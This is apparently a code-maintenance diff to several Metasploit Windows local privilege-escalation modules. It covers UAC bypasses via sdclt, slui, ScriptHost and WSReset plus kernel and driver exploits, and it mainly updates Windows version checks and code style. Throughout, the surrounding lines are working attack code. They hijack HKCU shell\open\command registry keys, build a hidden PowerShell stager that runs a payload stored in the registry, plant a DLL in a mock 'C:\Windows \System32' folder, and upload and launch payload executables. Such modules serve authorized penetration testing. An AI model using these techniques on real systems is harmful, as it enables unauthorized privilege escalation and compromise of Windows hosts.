if sysinfo['OS'] =~ /Windows (Vista|7|8|2008|2012|2016|10)/ && is_uac_enabled?
|
||||
version = get_version_info
|
||||
if version.build_number >= Msf::WindowsVersion::Vista_SP0 && is_uac_enabled?
|
||||
Exploit::CheckCode::Appears
|
||||
else
|
||||
Exploit::CheckCode::Safe
|
||||
|
@ -71,13 +72,11 @@ class MetasploitModule < Msf::Exploit::Local
|
|||
end
|
||||
|
||||
def write_reg_values(registry_key, payload_pathname)
|
||||
begin
|
||||
registry_createkey(registry_key) unless registry_key_exist?(registry_key)
|
||||
registry_setvaldata(registry_key, "DelegateExecute", '', "REG_SZ")
|
||||
registry_setvaldata(registry_key, '', payload_pathname, "REG_SZ")
|
||||
rescue ::Exception => e
|
||||
print_error(e.to_s)
|
||||
end
|
||||
registry_createkey(registry_key) unless registry_key_exist?(registry_key)
|
||||
registry_setvaldata(registry_key, 'DelegateExecute', '', 'REG_SZ')
|
||||
registry_setvaldata(registry_key, '', payload_pathname, 'REG_SZ')
|
||||
rescue ::Exception => e
|
||||
print_error(e.to_s)
|
||||
end
|
||||
|
||||
def exploit
|
||||
|
@ -104,55 +103,55 @@ class MetasploitModule < Msf::Exploit::Local
|
|||
|
||||
# get directory locations straight
|
||||
win_dir = session.sys.config.getenv('windir')
|
||||
vprint_status("win_dir = " + win_dir)
|
||||
vprint_status('win_dir = ' + win_dir)
|
||||
tmp_dir = session.sys.config.getenv('tmp')
|
||||
vprint_status("tmp_dir = " + tmp_dir)
|
||||
exploit_dir = win_dir + "\\System32\\"
|
||||
vprint_status("exploit_dir = " + exploit_dir)
|
||||
target_filepath = exploit_dir + "sdclt.exe"
|
||||
vprint_status("exploit_file = " + target_filepath)
|
||||
vprint_status('tmp_dir = ' + tmp_dir)
|
||||
exploit_dir = win_dir + '\\System32\\'
|
||||
vprint_status('exploit_dir = ' + exploit_dir)
|
||||
target_filepath = exploit_dir + 'sdclt.exe'
|
||||
vprint_status('exploit_file = ' + target_filepath)
|
||||
|
||||
# make payload
|
||||
payload_name = datastore['PAYLOAD_NAME'] || Rex::Text.rand_text_alpha(6..14) + '.exe'
|
||||
payload_pathname = tmp_dir + '\\' + payload_name
|
||||
vprint_status("payload_pathname = " + payload_pathname)
|
||||
vprint_status("Making Payload")
|
||||
vprint_status('payload_pathname = ' + payload_pathname)
|
||||
vprint_status('Making Payload')
|
||||
payload = generate_payload_exe
|
||||
reg_command = exploit_dir + "cmd.exe /c start #{payload_pathname}"
|
||||
vprint_status("reg_command = " + reg_command)
|
||||
vprint_status('reg_command = ' + reg_command)
|
||||
write_reg_values(@registry_key, reg_command)
|
||||
|
||||
# Upload payload
|
||||
vprint_status("Uploading Payload to #{payload_pathname}")
|
||||
write_file(payload_pathname, payload)
|
||||
vprint_status("Payload Upload Complete")
|
||||
vprint_status('Payload Upload Complete')
|
||||
|
||||
vprint_status("Launching " + target_filepath)
|
||||
vprint_status('Launching ' + target_filepath)
|
||||
begin
|
||||
session.sys.process.execute("cmd.exe /c \"#{target_filepath}\"", nil, 'Hidden' => true)
|
||||
rescue ::Exception => e
|
||||
print_error("Executing command failed:\n#{e}")
|
||||
end
|
||||
print_warning("This exploit requires manual cleanup of '#{payload_pathname}'")
|
||||
print_status("Please wait for session and cleanup....")
|
||||
print_status('Please wait for session and cleanup....')
|
||||
end
|
||||
|
||||
def cleanup
|
||||
if @registry_key.present?
|
||||
vprint_status("Removing Registry Changes")
|
||||
vprint_status('Removing Registry Changes')
|
||||
if @remove_registry_key
|
||||
registry_deletekey(@registry_key)
|
||||
else
|
||||
registry_deleteval(@registry_key, "DelegateExecute")
|
||||
registry_deleteval(registry_key, "DelegateExecute")
|
||||
registry_deleteval(@registry_key, '')
|
||||
end
|
||||
print_status("Registry Changes Removed")
|
||||
print_status('Registry Changes Removed')
|
||||
end
|
||||
end
|
||||
|
||||
def check_permissions!
|
||||
unless check == Exploit::CheckCode::Appears
|
||||
fail_with(Failure::NotVulnerable, "Target is not vulnerable.")
|
||||
fail_with(Failure::NotVulnerable, 'Target is not vulnerable.')
|
||||
end
|
||||
fail_with(Failure::None, 'Already in elevated state') if is_admin? || is_system?
|
||||
# Check if you are an admin
|
||||
|
|
|
@ -11,12 +11,12 @@ class MetasploitModule < Msf::Exploit::Local
|
|||
include Post::Windows::Registry
|
||||
include Post::Windows::Runas
|
||||
|
||||
SLUI_DEL_KEY = "HKCU\\Software\\Classes\\exefile".freeze
|
||||
SLUI_WRITE_KEY = "HKCU\\Software\\Classes\\exefile\\shell\\open\\command".freeze
|
||||
SLUI_DEL_KEY = 'HKCU\\Software\\Classes\\exefile'.freeze
|
||||
SLUI_WRITE_KEY = 'HKCU\\Software\\Classes\\exefile\\shell\\open\\command'.freeze
|
||||
EXEC_REG_DELEGATE_VAL = 'DelegateExecute'.freeze
|
||||
EXEC_REG_VAL = ''.freeze # This maps to "(Default)"
|
||||
EXEC_REG_VAL_TYPE = 'REG_SZ'.freeze
|
||||
SLUI_PATH = "%WINDIR%\\System32\\slui.exe".freeze
|
||||
SLUI_PATH = '%WINDIR%\\System32\\slui.exe'.freeze
|
||||
CMD_MAX_LEN = 16383
|
||||
|
||||
def initialize(info = {})
|
||||
|
@ -68,7 +68,8 @@ class MetasploitModule < Msf::Exploit::Local
|
|||
end
|
||||
|
||||
def check
|
||||
if sysinfo['OS'] =~ /Windows (8|10)/ && is_uac_enabled?
|
||||
version = get_version_info
|
||||
if version.build_number.between?(Msf::WindowsVersion::Win8, Msf::WindowsVersion::Win10_1909)
|
||||
CheckCode::Appears
|
||||
else
|
||||
CheckCode::Safe
|
||||
|
@ -82,7 +83,7 @@ class MetasploitModule < Msf::Exploit::Local
|
|||
|
||||
commspec = 'powershell'
|
||||
registry_view = REGISTRY_VIEW_NATIVE
|
||||
psh_path = "%WINDIR%\\System32\\WindowsPowershell\\v1.0\\powershell.exe"
|
||||
psh_path = '%WINDIR%\\System32\\WindowsPowershell\\v1.0\\powershell.exe'
|
||||
|
||||
# Make sure we have a sane payload configuration
|
||||
if sysinfo['Architecture'] == ARCH_X64
|
||||
|
@ -92,18 +93,16 @@ class MetasploitModule < Msf::Exploit::Local
|
|||
if target_arch.first == ARCH_X64
|
||||
# We can't use absolute path here as
|
||||
# %WINDIR%\\System32 is always converted into %WINDIR%\\SysWOW64 from a x86 session
|
||||
psh_path = "powershell.exe"
|
||||
psh_path = 'powershell.exe'
|
||||
end
|
||||
end
|
||||
if target_arch.first == ARCH_X86
|
||||
# Invoking x86, so switch to SysWOW64
|
||||
psh_path = "%WINDIR%\\SysWOW64\\WindowsPowershell\\v1.0\\powershell.exe"
|
||||
psh_path = '%WINDIR%\\SysWOW64\\WindowsPowershell\\v1.0\\powershell.exe'
|
||||
end
|
||||
else
|
||||
elsif target_arch.first == ARCH_X64
|
||||
# if we're on x86, we can't handle x64 payloads
|
||||
if target_arch.first == ARCH_X64
|
||||
fail_with(Failure::BadConfig, 'x64 Target Selected for x86 System')
|
||||
end
|
||||
fail_with(Failure::BadConfig, 'x64 Target Selected for x86 System')
|
||||
end
|
||||
|
||||
if !payload.arch.empty? && (payload.arch.first != target_arch.first)
|
||||
|
@ -138,14 +137,14 @@ class MetasploitModule < Msf::Exploit::Local
|
|||
psh_stager = "\"IEX (Get-ItemProperty -Path #{SLUI_WRITE_KEY.gsub('HKCU', 'HKCU:')} -Name #{payload_value}).#{payload_value}\""
|
||||
cmd = "#{psh_path} -nop -w hidden -c #{psh_stager}"
|
||||
|
||||
existing = registry_getvaldata(SLUI_WRITE_KEY, EXEC_REG_VAL, registry_view) || ""
|
||||
existing = registry_getvaldata(SLUI_WRITE_KEY, EXEC_REG_VAL, registry_view) || ''
|
||||
exist_delegate = !registry_getvaldata(SLUI_WRITE_KEY, EXEC_REG_DELEGATE_VAL, registry_view).nil?
|
||||
|
||||
if existing.empty?
|
||||
registry_createkey(SLUI_WRITE_KEY, registry_view)
|
||||
end
|
||||
|
||||
print_status("Configuring payload and stager registry keys ...")
|
||||
print_status('Configuring payload and stager registry keys ...')
|
||||
unless exist_delegate
|
||||
registry_setvaldata(SLUI_WRITE_KEY, EXEC_REG_DELEGATE_VAL, '', EXEC_REG_VAL_TYPE, registry_view)
|
||||
end
|
||||
|
@ -167,7 +166,7 @@ class MetasploitModule < Msf::Exploit::Local
|
|||
|
||||
handler(client)
|
||||
|
||||
print_status("Cleaning up ...")
|
||||
print_status('Cleaning up ...')
|
||||
unless exist_delegate
|
||||
registry_deleteval(SLUI_WRITE_KEY, EXEC_REG_DELEGATE_VAL, registry_view)
|
||||
end
|
||||
|
@ -181,7 +180,7 @@ class MetasploitModule < Msf::Exploit::Local
|
|||
|
||||
def check_permissions!
|
||||
unless check == Exploit::CheckCode::Appears
|
||||
fail_with(Failure::NotVulnerable, "Target is not vulnerable.")
|
||||
fail_with(Failure::NotVulnerable, 'Target is not vulnerable.')
|
||||
end
|
||||
fail_with(Failure::None, 'Already in elevated state') if is_admin? || is_system?
|
||||
# Check if you are an admin
|
||||
|
@ -192,12 +191,10 @@ class MetasploitModule < Msf::Exploit::Local
|
|||
if admin_group.nil?
|
||||
print_error('Either whoami is not there or failed to execute')
|
||||
print_error('Continuing under assumption you already checked...')
|
||||
elsif admin_group
|
||||
print_good('Part of Administrators group! Continuing...')
|
||||
else
|
||||
if admin_group
|
||||
print_good('Part of Administrators group! Continuing...')
|
||||
else
|
||||
fail_with(Failure::NoAccess, 'Not in admins group, cannot escalate with this module')
|
||||
end
|
||||
fail_with(Failure::NoAccess, 'Not in admins group, cannot escalate with this module')
|
||||
end
|
||||
|
||||
if get_integrity_level == INTEGRITY_LEVEL_SID[:low]
|
||||
|
|
|
@ -12,32 +12,33 @@ class MetasploitModule < Msf::Exploit::Local
|
|||
include Post::Windows::Priv
|
||||
include Post::Windows::Runas
|
||||
|
||||
def initialize(info={})
|
||||
super( update_info( info,
|
||||
'Name' => 'Windows Escalate UAC Protection Bypass (ScriptHost Vulnerability)',
|
||||
'Description' => %q{
|
||||
This module will bypass Windows UAC by utilizing the missing .manifest on the script host
|
||||
cscript/wscript.exe binaries.
|
||||
},
|
||||
'License' => MSF_LICENSE,
|
||||
'Author' => [
|
||||
def initialize(info = {})
|
||||
super(
|
||||
update_info(
|
||||
info,
|
||||
'Name' => 'Windows Escalate UAC Protection Bypass (ScriptHost Vulnerability)',
|
||||
'Description' => %q{
|
||||
This module will bypass Windows UAC by utilizing the missing .manifest on the script host
|
||||
cscript/wscript.exe binaries.
|
||||
},
|
||||
'License' => MSF_LICENSE,
|
||||
'Author' => [
|
||||
'Vozzie',
|
||||
'Ben Campbell'
|
||||
],
|
||||
'Platform' => [ 'win' ],
|
||||
'SessionTypes' => [ 'meterpreter' ],
|
||||
'Targets' => [
|
||||
'Platform' => [ 'win' ],
|
||||
'SessionTypes' => [ 'meterpreter' ],
|
||||
'Targets' => [
|
||||
[ 'Automatic', { 'Arch' => [ ARCH_X86, ARCH_X64 ] } ]
|
||||
],
|
||||
'DefaultTarget' => 0,
|
||||
'References' =>
|
||||
[
|
||||
],
|
||||
'DefaultTarget' => 0,
|
||||
'References' => [
|
||||
['URL', 'http://seclist.us/uac-bypass-vulnerability-in-the-windows-script-host.html'],
|
||||
['URL', 'https://github.com/Vozzie/uacscript']
|
||||
],
|
||||
'DisclosureDate'=> '2015-08-22'
|
||||
))
|
||||
|
||||
'DisclosureDate' => '2015-08-22'
|
||||
)
|
||||
)
|
||||
end
|
||||
|
||||
def exploit
|
||||
|
@ -52,19 +53,18 @@ class MetasploitModule < Msf::Exploit::Local
|
|||
env_vars = get_envs('TEMP', 'WINDIR')
|
||||
|
||||
case get_uac_level
|
||||
when UAC_PROMPT_CREDS_IF_SECURE_DESKTOP,
|
||||
when UAC_PROMPT_CREDS_IF_SECURE_DESKTOP,
|
||||
UAC_PROMPT_CONSENT_IF_SECURE_DESKTOP,
|
||||
UAC_PROMPT_CREDS, UAC_PROMPT_CONSENT
|
||||
fail_with(Failure::NotVulnerable,
|
||||
"UAC is set to 'Always Notify'. This module does not bypass this setting, exiting..."
|
||||
)
|
||||
when UAC_DEFAULT
|
||||
print_good('UAC is set to Default')
|
||||
print_good('BypassUAC can bypass this setting, continuing...')
|
||||
when UAC_NO_PROMPT
|
||||
print_warning('UAC set to DoNotPrompt - using ShellExecute "runas" method instead')
|
||||
shell_execute_exe
|
||||
return
|
||||
fail_with(Failure::NotVulnerable,
|
||||
"UAC is set to 'Always Notify'. This module does not bypass this setting, exiting...")
|
||||
when UAC_DEFAULT
|
||||
print_good('UAC is set to Default')
|
||||
print_good('BypassUAC can bypass this setting, continuing...')
|
||||
when UAC_NO_PROMPT
|
||||
print_warning('UAC set to DoNotPrompt - using ShellExecute "runas" method instead')
|
||||
shell_execute_exe
|
||||
return
|
||||
end
|
||||
|
||||
vbs_filepath = "#{env_vars['TEMP']}\\#{rand_text_alpha(8)}.vbs"
|
||||
|
@ -82,12 +82,10 @@ class MetasploitModule < Msf::Exploit::Local
|
|||
if admin_group.nil?
|
||||
print_error('Either whoami is not there or failed to execute')
|
||||
print_error('Continuing under assumption you already checked...')
|
||||
elsif admin_group
|
||||
print_good('Part of Administrators group! Continuing...')
|
||||
else
|
||||
if admin_group
|
||||
print_good('Part of Administrators group! Continuing...')
|
||||
else
|
||||
fail_with(Failure::NoAccess, 'Not in admins group, cannot escalate with this module')
|
||||
end
|
||||
fail_with(Failure::NoAccess, 'Not in admins group, cannot escalate with this module')
|
||||
end
|
||||
|
||||
if get_integrity_level == INTEGRITY_LEVEL_SID[:low]
|
||||
|
@ -97,9 +95,9 @@ class MetasploitModule < Msf::Exploit::Local
|
|||
|
||||
def upload_vbs(payload_filepath)
|
||||
vbs = File.read(File.join(Msf::Config.data_directory,
|
||||
'exploits',
|
||||
'scripthost_uac_bypass',
|
||||
'bypass.vbs'))
|
||||
'exploits',
|
||||
'scripthost_uac_bypass',
|
||||
'bypass.vbs'))
|
||||
|
||||
command = cmd_psh_payload(payload.encoded, payload_instance.arch.first, remove_comspec: true)
|
||||
|
||||
|
@ -117,13 +115,11 @@ class MetasploitModule < Msf::Exploit::Local
|
|||
def validate_environment!
|
||||
fail_with(Failure::None, 'Already in elevated state') if is_admin? || is_system?
|
||||
|
||||
winver = sysinfo['OS']
|
||||
|
||||
case winver
|
||||
when /Windows (7|2008)/
|
||||
print_good("#{winver} may be vulnerable.")
|
||||
version = get_version_info
|
||||
if version.win7_or_2008r2?
|
||||
print_good("#{version.product_name} may be vulnerable.")
|
||||
else
|
||||
fail_with(Failure::NotVulnerable, "#{winver} is not vulnerable.")
|
||||
fail_with(Failure::NotVulnerable, "#{version.product_name} is not vulnerable.")
|
||||
end
|
||||
|
||||
if is_uac_enabled?
|
||||
|
|
|
@ -38,7 +38,7 @@ class MetasploitModule < Msf::Exploit::Local
|
|||
},
|
||||
'DisclosureDate' => '2019-08-22',
|
||||
'Notes' => {
|
||||
'SideEffects' => [ ARTIFACTS_ON_DISK, SCREEN_EFFECTS ],
|
||||
'SideEffects' => [ ARTIFACTS_ON_DISK, SCREEN_EFFECTS ]
|
||||
},
|
||||
'References' => [
|
||||
['URL', 'https://heynowyouseeme.blogspot.com/2019/08/windows-10-lpe-uac-bypass-in-windows.html'],
|
||||
|
@ -53,13 +53,14 @@ class MetasploitModule < Msf::Exploit::Local
|
|||
stdapi_sys_process_execute
|
||||
]
|
||||
}
|
||||
},
|
||||
}
|
||||
)
|
||||
)
|
||||
end
|
||||
|
||||
def check
|
||||
if sysinfo['OS'] =~ /Windows 10/ && is_uac_enabled? && exists?("C:\\Windows\\System32\\WSReset.exe")
|
||||
version = get_version_info
|
||||
if version.build_number > Msf::WindowsVersion::Win10_InitialRelease && !version.windows_server? && exists?('C:\\Windows\\System32\\WSReset.exe')
|
||||
return CheckCode::Appears
|
||||
end
|
||||
|
||||
|
@ -93,9 +94,9 @@ class MetasploitModule < Msf::Exploit::Local
|
|||
return
|
||||
end
|
||||
|
||||
exploit_win_dir = "C:\\Windows \\"
|
||||
exploit_dir = "C:\\Windows \\System32\\"
|
||||
exploit_file = exploit_dir + "WSReset.exe"
|
||||
exploit_win_dir = 'C:\\Windows \\'
|
||||
exploit_dir = 'C:\\Windows \\System32\\'
|
||||
exploit_file = exploit_dir + 'WSReset.exe'
|
||||
unless exists? exploit_win_dir
|
||||
print_status("Creating directory '#{exploit_win_dir}'...")
|
||||
session.fs.dir.mkdir(exploit_win_dir)
|
||||
|
@ -105,14 +106,14 @@ class MetasploitModule < Msf::Exploit::Local
|
|||
session.fs.dir.mkdir(exploit_dir)
|
||||
end
|
||||
unless exists? exploit_file
|
||||
session.fs.file.copy("C:\\Windows\\System32\\WSReset.exe", exploit_file)
|
||||
session.fs.file.copy('C:\\Windows\\System32\\WSReset.exe', exploit_file)
|
||||
end
|
||||
|
||||
payload_dll = "C:\\Windows \\System32\\propsys.dll"
|
||||
payload_dll = 'C:\\Windows \\System32\\propsys.dll'
|
||||
print_status("Creating payload '#{payload_dll}'...")
|
||||
payload = generate_payload_dll
|
||||
write_file(payload_dll, payload)
|
||||
print_status("Executing WSReset.exe...")
|
||||
print_status('Executing WSReset.exe...')
|
||||
begin
|
||||
session.sys.process.execute("cmd.exe /c \"#{exploit_file}\"", nil, { 'Hidden' => true })
|
||||
rescue ::Exception => e
|
||||
|
@ -123,7 +124,7 @@ class MetasploitModule < Msf::Exploit::Local
|
|||
|
||||
def check_permissions!
|
||||
unless check == Exploit::CheckCode::Appears
|
||||
fail_with(Failure::NotVulnerable, "Target is not vulnerable.")
|
||||
fail_with(Failure::NotVulnerable, 'Target is not vulnerable.')
|
||||
end
|
||||
fail_with(Failure::None, 'Already in elevated state') if is_admin? || is_system?
|
||||
# Check if you are an admin
|
||||
|
@ -134,12 +135,10 @@ class MetasploitModule < Msf::Exploit::Local
|
|||
if admin_group.nil?
|
||||
print_error('Either whoami is not there or failed to execute')
|
||||
print_error('Continuing under assumption you already checked...')
|
||||
elsif admin_group
|
||||
print_good('Part of Administrators group! Continuing...')
|
||||
else
|
||||
if admin_group
|
||||
print_good('Part of Administrators group! Continuing...')
|
||||
else
|
||||
fail_with(Failure::NoAccess, 'Not in admins group, cannot escalate with this module')
|
||||
end
|
||||
fail_with(Failure::NoAccess, 'Not in admins group, cannot escalate with this module')
|
||||
end
|
||||
|
||||
if get_integrity_level == INTEGRITY_LEVEL_SID[:low]
|
||||
|
|
|
@ -61,7 +61,8 @@ class MetasploitModule < Msf::Exploit::Local
|
|||
end
|
||||
|
||||
def check
|
||||
if sysinfo['OS'] =~ /Windows 10/ && is_uac_enabled? && exists?("C:\\Windows\\System32\\WSReset.exe")
|
||||
version = get_version_info
|
||||
if version.build_number >= Msf::WindowsVersion::Win10_InitialRelease && !version.windows_server? && is_uac_enabled? && exists?('C:\\Windows\\System32\\WSReset.exe')
|
||||
return CheckCode::Appears
|
||||
end
|
||||
|
||||
|
@ -88,40 +89,40 @@ class MetasploitModule < Msf::Exploit::Local
|
|||
|
||||
# get directory locations straight
|
||||
win_dir = session.sys.config.getenv('windir')
|
||||
vprint_status("win_dir = " + win_dir)
|
||||
vprint_status('win_dir = ' + win_dir)
|
||||
tmp_dir = session.sys.config.getenv('tmp')
|
||||
vprint_status("tmp_dir = " + tmp_dir)
|
||||
exploit_dir = win_dir + "\\System32\\"
|
||||
vprint_status("exploit_dir = " + exploit_dir)
|
||||
reset_filepath = exploit_dir + "WSReset.exe"
|
||||
vprint_status("exploit_file = " + reset_filepath)
|
||||
vprint_status('tmp_dir = ' + tmp_dir)
|
||||
exploit_dir = win_dir + '\\System32\\'
|
||||
vprint_status('exploit_dir = ' + exploit_dir)
|
||||
reset_filepath = exploit_dir + 'WSReset.exe'
|
||||
vprint_status('exploit_file = ' + reset_filepath)
|
||||
|
||||
# make payload
|
||||
payload_name = datastore['PAYLOAD_NAME'] || Rex::Text.rand_text_alpha((rand(8) + 6)) + '.exe'
|
||||
payload_name = datastore['PAYLOAD_NAME'] || Rex::Text.rand_text_alpha(rand(6..13)) + '.exe'
|
||||
payload_pathname = tmp_dir + '\\' + payload_name
|
||||
vprint_status("payload_pathname = " + payload_pathname)
|
||||
vprint_status("Making Payload")
|
||||
vprint_status('payload_pathname = ' + payload_pathname)
|
||||
vprint_status('Making Payload')
|
||||
payload = generate_payload_exe
|
||||
reg_command = exploit_dir + "cmd.exe /c start #{payload_pathname}"
|
||||
vprint_status("reg_command = " + reg_command)
|
||||
@registry_key = "HKCU\\Software\\Classes\\AppX82a6gwre4fdg3bt635tn5ctqjf8msdd2\\Shell\\open\\command"
|
||||
@registry_key = 'HKCU\\Software\\Classes\\AppX82a6gwre4fdg3bt635tn5ctqjf8msdd2\\Shell\\open\\command'
|
||||
|
||||
# make registry changes
|
||||
vprint_status("Making Registry Changes")
|
||||
begin
|
||||
registry_createkey(@registry_key)
|
||||
registry_setvaldata(@registry_key, "DelegateExecute", '', "REG_SZ")
|
||||
registry_setvaldata(@registry_key, '', reg_command, "REG_SZ")
|
||||
registry_setvaldata(@registry_key, 'DelegateExecute', '', 'REG_SZ')
|
||||
registry_setvaldata(@registry_key, '', reg_command, 'REG_SZ')
|
||||
rescue ::Exception => e
|
||||
print_error(e.to_s)
|
||||
end
|
||||
vprint_status("Registry Changes Complete")
|
||||
vprint_status('Registry Changes Complete')
|
||||
# Upload payload
|
||||
vprint_status("Uploading Payload to #{payload_pathname}")
|
||||
write_file(payload_pathname, payload)
|
||||
vprint_status("Payload Upload Complete")
|
||||
vprint_status('Payload Upload Complete')
|
||||
|
||||
vprint_status("Launching " + reset_filepath)
|
||||
vprint_status('Launching ' + reset_filepath)
|
||||
begin
|
||||
session.sys.process.execute("cmd.exe /c \"#{reset_filepath}\"", nil, 'Hidden' => true)
|
||||
rescue ::Exception => e
|
||||
|
@ -132,15 +133,15 @@ class MetasploitModule < Msf::Exploit::Local
|
|||
|
||||
def cleanup
|
||||
if @registry_key.present?
|
||||
vprint_status("Removing Registry Changes")
|
||||
vprint_status('Removing Registry Changes')
|
||||
registry_deletekey(@registry_key)
|
||||
vprint_status("Registry Changes Removed")
|
||||
vprint_status('Registry Changes Removed')
|
||||
end
|
||||
end
|
||||
|
||||
def check_permissions!
|
||||
unless check == Exploit::CheckCode::Appears
|
||||
fail_with(Failure::NotVulnerable, "Target is not vulnerable.")
|
||||
fail_with(Failure::NotVulnerable, 'Target is not vulnerable.')
|
||||
end
|
||||
fail_with(Failure::None, 'Already in elevated state') if is_admin? || is_system?
|
||||
# Check if you are an admin
|
||||
|
@ -151,12 +152,10 @@ class MetasploitModule < Msf::Exploit::Local
|
|||
if admin_group.nil?
|
||||
print_error('Either whoami is not there or failed to execute')
|
||||
print_error('Continuing under assumption you already checked...')
|
||||
elsif admin_group
|
||||
print_good('Part of Administrators group! Continuing...')
|
||||
else
|
||||
if admin_group
|
||||
print_good('Part of Administrators group! Continuing...')
|
||||
else
|
||||
fail_with(Failure::NoAccess, 'Not in admins group, cannot escalate with this module')
|
||||
end
|
||||
fail_with(Failure::NoAccess, 'Not in admins group, cannot escalate with this module')
|
||||
end
|
||||
|
||||
if get_integrity_level == INTEGRITY_LEVEL_SID[:low]
|
||||
|
|
|
@ -32,7 +32,7 @@ class MetasploitModule < Msf::Exploit::Local
|
|||
'Platform' => 'win',
|
||||
'SessionTypes' => [ 'meterpreter' ],
|
||||
'DefaultOptions' => {
|
||||
'EXITFUNC' => 'thread',
|
||||
'EXITFUNC' => 'thread'
|
||||
},
|
||||
'Targets' => [
|
||||
[ 'Windows x64 (<= 10)', { 'Arch' => ARCH_X64 } ]
|
||||
|
@ -60,7 +60,8 @@ class MetasploitModule < Msf::Exploit::Local
|
|||
end
|
||||
|
||||
def check
|
||||
if sysinfo['OS'] !~ /windows (7|8|10)/i
|
||||
version = get_version_info
|
||||
if version.build_number < Msf::WindowsVersion::Win7_SP0 || version.windows_server?
|
||||
return Exploit::CheckCode::Unknown
|
||||
end
|
||||
|
||||
|
@ -71,13 +72,13 @@ class MetasploitModule < Msf::Exploit::Local
|
|||
# Validate that the driver has been loaded and that
|
||||
# the version is the same as the one expected
|
||||
client.sys.config.getdrivers.each do |d|
|
||||
if d[:basename].downcase == 'capcom.sys'
|
||||
expected_checksum = '73c98438ac64a68e88b7b0afd11ba140'
|
||||
target_checksum = client.fs.file.md5(d[:filename])
|
||||
next unless d[:basename].downcase == 'capcom.sys'
|
||||
|
||||
if expected_checksum == Rex::Text.to_hex(target_checksum, '')
|
||||
return Exploit::CheckCode::Appears
|
||||
end
|
||||
expected_checksum = '73c98438ac64a68e88b7b0afd11ba140'
|
||||
target_checksum = client.fs.file.md5(d[:filename])
|
||||
|
||||
if expected_checksum == Rex::Text.to_hex(target_checksum, '')
|
||||
return Exploit::CheckCode::Appears
|
||||
end
|
||||
end
|
||||
|
||||
|
|
|
@ -82,7 +82,7 @@ class MetasploitModule < Msf::Exploit::Local
|
|||
payload_exe = generate_payload_exe
|
||||
|
||||
# Check target
|
||||
vprint_status("Checking Target")
|
||||
vprint_status('Checking Target')
|
||||
validate_active_host
|
||||
validate_target
|
||||
fail_with(Failure::BadConfig, "#{temp_path} does not exist on the target") unless directory?(temp_path)
|
||||
|
@ -95,42 +95,39 @@ class MetasploitModule < Msf::Exploit::Local
|
|||
print_status("Exploit uploaded on #{sysinfo['Computer']} to #{exploit_path}")
|
||||
|
||||
# Upload Payload
|
||||
vprint_status("Uploading Payload")
|
||||
vprint_status('Uploading Payload')
|
||||
ensure_clean_destination(payload_path)
|
||||
write_file(payload_path, payload_exe)
|
||||
print_status("Payload (#{payload_exe.length} bytes) uploaded on #{sysinfo['Computer']} to #{payload_path}")
|
||||
print_warning("This exploit requires manual cleanup of the payload #{payload_path}")
|
||||
|
||||
# Run Exploit
|
||||
vprint_status("Running Exploit")
|
||||
print_status("It may take a moment after the session is established for the exploit to exit safely.")
|
||||
vprint_status('Running Exploit')
|
||||
print_status('It may take a moment after the session is established for the exploit to exit safely.')
|
||||
begin
|
||||
cmd_exec('cmd.exe', "/c #{exploit_path} #{payload_path}", 60)
|
||||
rescue Rex::TimeoutError => e
|
||||
elog('Caught timeout. Exploit may be taking longer or it may have failed.', error: e)
|
||||
print_error("Caught timeout. Exploit may be taking longer or it may have failed.")
|
||||
print_error('Caught timeout. Exploit may be taking longer or it may have failed.')
|
||||
end
|
||||
vprint_status("Cleaning up #{exploit_path}")
|
||||
ensure_clean_destination(exploit_path)
|
||||
end
|
||||
|
||||
def validate_active_host
|
||||
begin
|
||||
print_status("Attempting to PrivEsc on #{sysinfo['Computer']} via session ID: #{datastore['SESSION']}")
|
||||
rescue Rex::Post::Meterpreter::RequestError => e
|
||||
elog('Could not connect to session', error: e)
|
||||
raise Msf::Exploit::Failed, 'Could not connect to session'
|
||||
end
|
||||
print_status("Attempting to PrivEsc on #{sysinfo['Computer']} via session ID: #{datastore['SESSION']}")
|
||||
rescue Rex::Post::Meterpreter::RequestError => e
|
||||
elog('Could not connect to session', error: e)
|
||||
raise Msf::Exploit::Failed, 'Could not connect to session'
|
||||
end
|
||||
|
||||
def validate_target
|
||||
if sysinfo['Architecture'] == ARCH_X86
|
||||
fail_with(Failure::NoTarget, 'Exploit code is 64-bit only')
|
||||
end
|
||||
sysinfo_value = sysinfo['OS']
|
||||
build_num = sysinfo_value.match(/\w+\d+\w+(\d+)/)[0].to_i
|
||||
vprint_status("Build Number = #{build_num}")
|
||||
unless sysinfo_value =~ /10/ && (build_num > 17133 && build_num < 18362)
|
||||
version = get_version_info
|
||||
vprint_status("OS version: #{version}")
|
||||
unless version.build_number.between?(Msf::WindowsVersion::Win10_1803, Msf::WindowsVersion::Win10_1809)
|
||||
fail_with(Failure::NotVulnerable, 'The exploit only supports Windows 10 build versions 17133-18362')
|
||||
end
|
||||
end
|
||||
|
|
|
@ -41,7 +41,7 @@ class MetasploitModule < Msf::Exploit::Local
|
|||
'Windows 10 v1703 (Build 15063) x86', {
|
||||
'UniqueProcessIdOffset' => 180,
|
||||
'TokenOffset' => 252,
|
||||
'Version' => 'Build 15063'
|
||||
'Version' => Msf::WindowsVersion::Win10_1703
|
||||
}
|
||||
]
|
||||
],
|
||||
|
@ -74,7 +74,8 @@ class MetasploitModule < Msf::Exploit::Local
|
|||
def target_info
|
||||
fail_with(Failure::None, 'Session is already elevated') if is_system?
|
||||
|
||||
unless sysinfo['OS'].include?(target['Version']) && sysinfo['Architecture'] == 'x86'
|
||||
version = get_version_info
|
||||
unless version.build_number == target['Version'] && sysinfo['Architecture'] == 'x86'
|
||||
fail_with(Failure::NoTarget, 'Target is not compatible with exploit')
|
||||
end
|
||||
end
|
||||
|
|
|
@ -63,9 +63,7 @@ class MetasploitModule < Msf::Exploit::Local
|
|||
end
|
||||
|
||||
def check
|
||||
sysinfo_value = sysinfo['OS']
|
||||
|
||||
if sysinfo_value !~ /windows/i
|
||||
if session.platform != 'windows'
|
||||
# Non-Windows systems are definitely not affected.
|
||||
return CheckCode::Safe
|
||||
end
|
||||
|
|
|
@ -284,10 +284,9 @@ class MetasploitModule < Msf::Exploit::Local
|
|||
fail_with(Failure::NoTarget, 'Running against WOW64 is not supported')
|
||||
end
|
||||
|
||||
sysinfo_value = sysinfo['OS']
|
||||
build_num = sysinfo_value.match(/\w+\d+\w+(\d+)/)[0].to_i
|
||||
vprint_status("Build Number = #{build_num}")
|
||||
unless sysinfo_value =~ /10/ && (build_num >= 17134 && build_num <= 18363)
|
||||
version_info = get_version_info
|
||||
vprint_status("Version: #{version_info.number}")
|
||||
unless version_info.build_version.between?(Msf::WindowsVersion::Win10_1803, Msf::WindowsVersion::Win10_1909)
|
||||
fail_with(Failure::NotVulnerable, 'The exploit only supports Windows 10 build versions 17134-18363')
|
||||
end
|
||||
